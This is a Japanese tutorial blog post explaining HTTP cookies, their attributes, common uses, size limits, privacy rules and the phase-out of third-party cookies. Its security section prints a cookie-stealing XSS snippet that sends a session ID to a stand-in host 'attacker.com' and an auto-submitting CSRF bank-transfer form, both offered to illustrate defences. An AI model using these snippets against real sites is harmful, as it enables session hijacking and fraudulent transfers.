🍪

Zenn問答第1回 「cookie」

に公開

Zenn問答とは

「Zenn問答」とは、開発していて「なんとなく使ってるけど、ちゃんと理解してるかな?」という技術について、改めて時間をとって深掘りしてみようという企画です🧘🧘🧘

はじめに

最近はブラウザでもcookieを保存しますか?というダイアログが出てくることがよくあり、一般の方にも認知度は高まっているcookieについてなんとなくでしか理解できていなかったので、深掘りしてみたいと思います。

cookieとは?

cookieは、Webサーバーがユーザーのブラウザに保存する小さなテキストデータです。ユーザーがWebサイトを訪問した際に、サーバーからブラウザにHTTPレスポンスヘッダーのSet-Cookieとして送信され、以降のリクエストではHTTPリクエストヘッダーのCookieとして自動的にサーバーに送り返されます。
このテキストデータはユーザーを特定し、ログイン状態やカートの中身の状態など、サーバー側に保存されている情報を復元するのに使われたりしています。

cookieの基本的な仕組み

ブラウザはどうやって送るcookieを選定するのか?

ブラウザがcookieを送信するかどうかは、以下の条件に基づいて決定されます

1. Domain属性による判定

2. Path属性による判定

3. Secure属性による判定

// HTTPSでのみ送信されるcookie
document.cookie = "secureData=value; Secure";

4. SameSite属性による判定

これらの属性は、サーバーがHTTPレスポンスでSet-Cookieヘッダーを送信する際に設定されます。ブラウザはこのSet-Cookieヘッダーを受信すると、指定された属性と値をそのままcookieストレージに保存します。

HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123; Domain=.example.com; Path=/; Secure; SameSite=Strict

ブラウザの開発者ツールなどでcookieの属性を手動で変更した場合、確かに本来送信されるべきでないリクエストでもcookieが送信される可能性があります。たとえば、SameSite=StrictSameSite=Noneに変更すると、クロスサイトリクエストでもcookieが送信されるようになってしまいます。

cookieの主な用途

cookieを使って何ができるのか、具体的な用途を見てみましょう。

1. セッション管理

ユーザーのログイン状態を保持するために使用されます。サーバーから発行されたセッションIDやトークンを保存し、ユーザーが認証済みかどうかを判定します。
個人的には王道な使い方だと思います。

// ログイン時にセッションIDを保存
document.cookie = "sessionId=abc123xyz; path=/; HttpOnly; Secure; SameSite=Strict";

// ログアウト時にセッションを削除
document.cookie = "sessionId=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/";

2. ユーザー設定の保存

テーマ、言語設定、フォントサイズなど、ユーザーの好みを記憶しておくために使用されます。

// テーマ設定を保存
document.cookie = "theme=dark; path=/; expires=Thu, 01 Jan 2025 00:00:00 UTC";

// 言語設定を保存
document.cookie = "language=ja; path=/; expires=Thu, 01 Jan 2025 00:00:00 UTC";

3. 購買データの保存

ECサイトでは、カート情報や最近見た商品などを保存するために使用されます。
セッションで管理しているところが多そうですが、例としてでてきたので一応紹介だけ。昔とかはこういうサイトも多かったのかもしれませんね。

// カート情報を保存
const cartData = JSON.stringify([{id: 1, name: "商品A", quantity: 2}]);
document.cookie = `cart=${encodeURIComponent(cartData)}; path=/; expires=Thu, 01 Jan 2025 00:00:00 UTC`;

などなど。
アクセスするたびに失われて不便な情報を詰めておくのに使うことが多そうです。

cookieの属性について

cookieには名前と値以外に、ブラウザの動作を制御するための予約された属性があります。これらの属性はSet-Cookieヘッダーでセミコロン区切りで指定されます。

送信範囲を制御する属性

  • Domain: cookieが送信されるドメインを指定
  • Path: cookieが送信されるパスを指定
  • Secure: HTTPS通信でのみ送信
  • SameSite: クロスサイトリクエストでの送信を制御(Strict/Lax/None)

有効期限を制御する属性

  • Expires: 絶対的な有効期限を指定(GMT形式の日時)
  • Max-Age: 相対的な有効期限を指定(秒数)

アクセス制御の属性

  • HttpOnly: JavaScriptからのアクセスを禁止
  • Partitioned: 第三者コンテキストでのパーティション化を有効にする(実験的)

具体例

Set-Cookie: sessionId=abc123; Domain=.example.com; Path=/admin; Secure; HttpOnly; SameSite=Strict; Max-Age=3600

この例では:

  • sessionId=abc123: 名前と値(自由に設定可能)
  • Domain=.example.com: example.comとそのサブドメインで有効
  • Path=/admin: /adminパス以下でのみ送信
  • Secure: HTTPS通信でのみ送信
  • HttpOnly: JavaScriptからアクセス不可
  • SameSite=Strict: 同一サイトのリクエストでのみ送信
  • Max-Age=3600: 3600秒(1時間)後に有効期限切れ

属性の優先順位

同じcookieに対してExpiresMax-Ageが両方指定された場合、Max-Ageが優先されます。また、Domainが指定されていない場合は、cookieを設定したドメインでのみ有効になります。

// ExpiresとMax-Ageが両方指定された場合、Max-Ageが優先される
document.cookie = "test=value; expires=Thu, 01 Jan 2025 00:00:00 UTC; max-age=3600";
// この場合、3600秒後(1時間後)に期限切れ

セキュリティ属性と攻撃パターン

cookieは便利な仕組みですが、cookieさえ手に入れてしまえば簡単に他人になりすますことができたり、サイトによっては重大な個人情報漏洩リスクがあります。
各セキュリティ属性を設定しないと、以下のような攻撃が考えられます。

1. HttpOnly属性未設定時のXSS攻撃

HttpOnly属性が設定されていない場合、JavaScriptからcookieにアクセスできるため、XSS攻撃によってセッションIDが盗まれる可能性があります。

// ❌ 危険な例:JavaScriptからアクセス可能
document.cookie = "sessionId=abc123";

// 攻撃者のスクリプトが実行されると...
const stolenSession = document.cookie.match(/sessionId=([^;]+)/)[1];
fetch('https://attacker.com/steal', { 
    method: 'POST', 
    body: stolenSession 
});

このような攻撃を防ぐためには、重要なcookieには必ずHttpOnly属性を設定する必要があります。
というか、この属性設定しないと盗まれるのもなんだかなぁという気はしますね

2. Secure属性未設定時の盗聴攻撃

Secure属性が設定されていない場合、HTTP通信でもcookieが送信されるため、通信内容を盗聴される可能性があります。

特に公共のWi-Fiなど、セキュアでないネットワークでは注意が必要です。重要なcookieには必ずSecure属性を設定し、HTTPS通信でのみ送信されるようにしましょう。

3. SameSite属性未設定時のCSRF攻撃

SameSite属性が設定されていない場合、クロスサイトリクエストフォージェリ(CSRF)攻撃を受ける可能性があります。

<!-- 悪意のサイトのHTML -->
<form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="1000000">
    <input type="hidden" name="to" value="attacker-account">
</form>
<script>
    // ページ読み込み時に自動送信
    document.forms[0].submit();
</script>

ユーザーが銀行サイトにログインしている状態で上記のような悪意のサイトにアクセスすると、裏側でcookieがあることをいいことに、知らない間に送金処理が実行されてしまう可能性があります。

重要な点として、HttpOnly属性が設定されていてもCSRF攻撃は防げません。

Set-Cookie: sessionId=abc123; HttpOnly; Secure

上記のようにHttpOnlyが設定されていても、CSRF攻撃では以下の理由で攻撃が成功してしまいます:

  1. cookieの内容を読む必要がない: 攻撃者はcookieの値を知る必要がなく、ブラウザが自動的に送信してくれることを利用
  2. フォーム送信は通常のHTTPリクエスト: JavaScriptを使わずに<form>要素で送信するため、HttpOnlyの制限を受けない
  3. ブラウザが自動的にcookieを付与: クロスサイトでも、ブラウザはリクエストに自動的にcookieを含める

そのため、CSRF攻撃を防ぐためにはSameSite=StrictまたはSameSite=Laxの設定が必要です。これにより、クロスサイトからのリクエストでcookieが送信されなくなります。

プライバシーと規制への対応

近年、cookie使用に関する規制が厳しくなっているようです。代表的なもので、GDPR(一般データ保護規則)やCCPA(カリフォルニア州消費者プライバシー法)などの規制があります。
詳細は割愛しますが、cookieも個人データに該当する場合があり、明示的な同意と目的の明示などが求められるようになってきています。

サードパーティcookieについて

サードパーティcookieは、ユーザーが現在訪問しているサイト以外のドメインによって設定されるcookieです。主に広告配信や行動追跡に使用されてきましたが、プライバシーの観点から問題視されています。

ファーストパーティcookie:

  • 訪問中のサイトと同じドメインが設定
  • 例: example.comを訪問中にexample.comが設定するcookie
  • 一般的にはユーザーが期待する動作

サードパーティcookie:

  • 訪問中のサイトとは異なるドメインが設定
  • 例: example.comを訪問中にgoogle-analytics.comが設定するcookie
  • 複数サイト間でのユーザー追跡が可能

段階的廃止の動き

主要ブラウザはサードパーティcookieの廃止を進めています

  • Safari: 2020年から完全ブロック
  • Firefox: Enhanced Tracking Protectionでブロック
  • Chrome: 2024年から段階的廃止を開始(当初予定から延期)

この変化により、従来の広告配信やアナリティクス手法の見直しが必要になっています。

パーソナライズ広告への影響と代替手段

これまでパーソナライズ広告(直前に検索した商品の広告が他のサイトで表示されるなど)は、主にサードパーティcookieによって実現されていました。サードパーティcookie廃止により、以下のような代替手段が開発・導入されています。

1. Google Topics API

  • ユーザーの閲覧履歴から興味のあるトピック(「スポーツ」「料理」など)を特定
  • 個人を直接追跡せず、興味カテゴリベースで広告配信
  • プライバシーを保護しながら関連性の高い広告を表示

2. ファーストパーティデータの活用強化

  • 企業が自社サイト内でのユーザー行動を詳細に分析
  • 会員登録やメール配信リストなどの直接的な関係を重視
  • CRM(顧客関係管理)システムとの連携強化

3. 文脈広告(Contextual Advertising)の復活

  • ページの内容を解析して関連する広告を表示
  • ユーザー追跡ではなく、表示しているコンテンツに基づく広告配信
  • 例:料理レシピページには調理器具の広告を表示

これらの技術により、ユーザーのプライバシーを保護しながらも、ある程度のパーソナライゼーションを維持する方向に業界全体が移行しています。
Googleみたいな大企業がどうにかしてパーソナライズ化した広告をうつのでそんな変わらんのでは・・・という気もしますが。。

cookieのもろもろ制限

  • 1つのcookieあたり: 最大4KB(4,096バイト)
  • ドメインあたりの総数: 一般的に50〜180個程度(Chromeの場合は180個)
  • すべてのcookieの合計サイズ: ブラウザごとに制限あり(Chromeの場合は約4MB)
// 4KBを超えるcookieは設定できない
const largeData = 'x'.repeat(5000); // 5KB
document.cookie = `largeData=${largeData}`; // 失敗または切り詰められる

まあ、なんでもかんでも詰め込むなよってくらいの制限なので、各サイトが適切にDomainやPath属性を意識して実装していれば問題にはならなそうではありますね。

まとめ

cookieはWebアプリケーションの状態管理に便利な技術ですが、使い方を誤ると攻撃対象になりうるものだということを改めて理解できました。あと、なんかブラウザの実装に結構依存しているなぁという印象もしました。

まあでも、仕組み自体はシンプルだなぁという印象でした。これで今後cookieという言葉を聞くたびに感じていた後ろめたさがなくなった気がします。思い返すとcookieという言葉を指して、cookieという仕組みを使ってどう処理しているのかというスコープでも語られるようなことも多い気がしたので、難しいなあという印象を持っていたのかもしれません。

この記事を読んでくださった方のcookieの理解の一助になれば幸いです、最後まで読んでいただきありがとうございました!

GitHubで編集を提案

Discussion